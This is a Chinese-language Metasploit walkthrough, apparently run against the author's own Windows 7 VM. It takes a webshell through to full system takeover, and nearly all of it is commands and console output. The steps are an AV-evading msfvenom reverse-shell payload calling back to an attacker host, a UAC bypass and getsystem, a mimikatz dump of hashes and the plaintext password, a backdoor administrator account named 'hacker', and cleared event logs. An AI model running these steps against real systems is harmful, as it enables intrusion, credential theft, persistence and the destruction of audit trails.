Metasploit 简单提权
0x00 前提
虚拟机有一个shell：http://10.11.11.20/a.php，物理机IP是211.222.222.72
外网安装msf的主机：外网IP是114.115.123.123，内网IP是192.168.0.195
0x01 查看主机基本信息
菜刀连接shell，终端执行systeminfo
C:\Apps\phpStudy\WWW\> systeminfo
主机名: REBER-WIN7
OS 名称: Microsoft Windows 7 专业版
OS 版本: 6.1.7600 ��ȱ Build 7600
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: reber
注册的组织:
产品 ID: 00371-868-0000007-85272
初始安装日期: 2017/12/26, 7:23:00
系统启动时间: 2018/2/26, 9:52:14
系统制造商: Parallels Software International Inc.
系统型号: Parallels Virtual Platform
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 70 Stepping 1 GenuineIntel ~2495 Mhz
BIOS 版本: Parallels Software International Inc. 12.0.2 (41353), 2016/9/15
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (GMT+08:00) 北京
物理内存总量: 4,096 MB
可用的物理内存: 2,897 MB
页面文件: 最大值: 8,189 MB
页面文件: 可用: 6,794 MB
页面文件: 使用中: 1,395 MB
页面文件位置: C:\pagefile.sys
域: REBER
登录服务器: \\REBER-WIN7
修补程序: 安装了 1 个修补程序。
[01]: KB958488
网卡: 安装了 1 个 NIC。
[01]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接 3
启用 DHCP: 是
DHCP 服务器: 10.11.11.1
IP 地址
[01]: 10.11.11.20
[02]: fe80::d509:b75f:4cc5:5628
0x02 弹出会话到Metasploit
生成payload，然后用菜刀上传到目标服务器
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=114.115.123.123 LPORT=8888 -a x86 -e x86/shikata_ga_nai -i 5 --platform windows -f exe -o 86.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 73802 bytes
Saved as: 86.exe
# -p 指定payload(用msfvenom -l payloads可查看所有payload)
# -a 指定目标指令集架构
# -e 指定用什么编码器编码(多次编码变幻可以免杀，用msfvenom -l encoders可查看编码类型)
# -i 指定编码迭代的次数
# --platform 执行目标的平台
# -f 指定输出格式，可用msfvenom --help-formats查看
msf监听，等待payload执行
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
# autorunscript: 目标上线后执行命令将进程迁移到了资源管理器，防止用户删除木马，然后丢失目标的情况
msf exploit(multi/handler) > set autorunscript migrate -n explorer.exe
autorunscript => migrate -n explorer.exe
msf exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
msf exploit(multi/handler) >
[*] Started reverse TCP handler on 0.0.0.0:8888
msf exploit(multi/handler) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://0.0.0.0:8888
msf exploit(multi/handler) > sessions
Active sessions
===============
No active sessions.
msf exploit(multi/handler) >
通过菜刀执行上传的aa.exe，菜刀显示执行错误，但是msf已经成功与目标建立了一个会话
msf exploit(multi/handler) >
[*] Sending stage (179779 bytes) to 211.222.222.72
[*] Meterpreter session 1 opened (192.168.0.195:8888 -> 211.222.222.72:34576) at 2018-02-26 12:26:32 +0800
msf exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows REBER-WIN7\reber @ REBER-WIN7 192.168.0.195:8888 -> 211.222.222.72:34576 (10.11.11.20)
msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > ls
Listing: C:\Users\reber\Desktop
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 73802 fil 2018-02-26 12:02:38 +0800 aa.exe
100666/rw-rw-rw- 282 fil 2017-12-25 15:24:08 +0800 desktop.ini
100666/rw-rw-rw- 9029 fil 2018-02-07 00:14:51 +0800 ftptrace.txt
100666/rw-rw-rw- 108 fil 2018-02-06 23:55:17 +0800 users.dat
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) >
0x03 提权
前面通过systeminfo得知为Win7主机，只有一个补丁，直接尝试绕过UAC进行提权
msf exploit(multi/handler) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > options
Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: PSH, EXE)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf exploit(windows/local/bypassuac) > set session 1
session => 1
msf exploit(windows/local/bypassuac) > set LHOST 114.115.123.123
LHOST => 114.115.123.123
msf exploit(windows/local/bypassuac) > set LPORT 6666
LPORT => 6666
msf exploit(windows/local/bypassuac) > options
Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: PSH, EXE)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 114.115.123.123 yes The listen address
LPORT 6666 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf exploit(windows/local/bypassuac) > run
[-] Handler failed to bind to 114.115.123.123:6666:- -
[*] Started reverse TCP handler on 0.0.0.0:6666
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (179779 bytes) to 211.222.222.72
[*] Meterpreter session 2 opened (192.168.0.195:6666 -> 211.222.222.72:39027) at 2018-02-26 16:29:34 +0800
meterpreter > getuid
Server username: REBER-WIN7\reber
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
0x04 获得用户名密码
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;69053 NTLM REBER-WIN7 reber lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;69036 NTLM REBER-WIN7 reber lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;996 Negotiate REBER REBER-WIN7$ n.s. (Credentials KO)
0;27026 NTLM n.s. (Credentials KO)
0;999 NTLM REBER REBER-WIN7$ n.s. (Credentials KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate REBER REBER-WIN7$
0;27026 NTLM
0;999 NTLM REBER REBER-WIN7$
0;69053 NTLM REBER-WIN7 reber 123456
0;69036 NTLM REBER-WIN7 reber 123456
meterpreter >
0x05 添加用户
meterpreter > shell
Process 2020 created.
Channel 1 created.
Microsoft Windows [▒汾 6.1.7600]
▒▒Ȩ▒▒▒▒ (c) 2009 Microsoft Corporation▒▒▒▒▒▒▒▒▒▒Ȩ▒▒
C:\Windows\system32>net user hacker 123456 /add
net user hacker 123456 /add
▒▒▒▒ɹ▒▒▒ɡ▒
C:\Windows\system32>net localgroup administrators hacker /add
net localgroup administrators hacker /add
▒▒▒▒ɹ▒▒▒ɡ▒
0x06 清理痕迹
meterpreter > clearev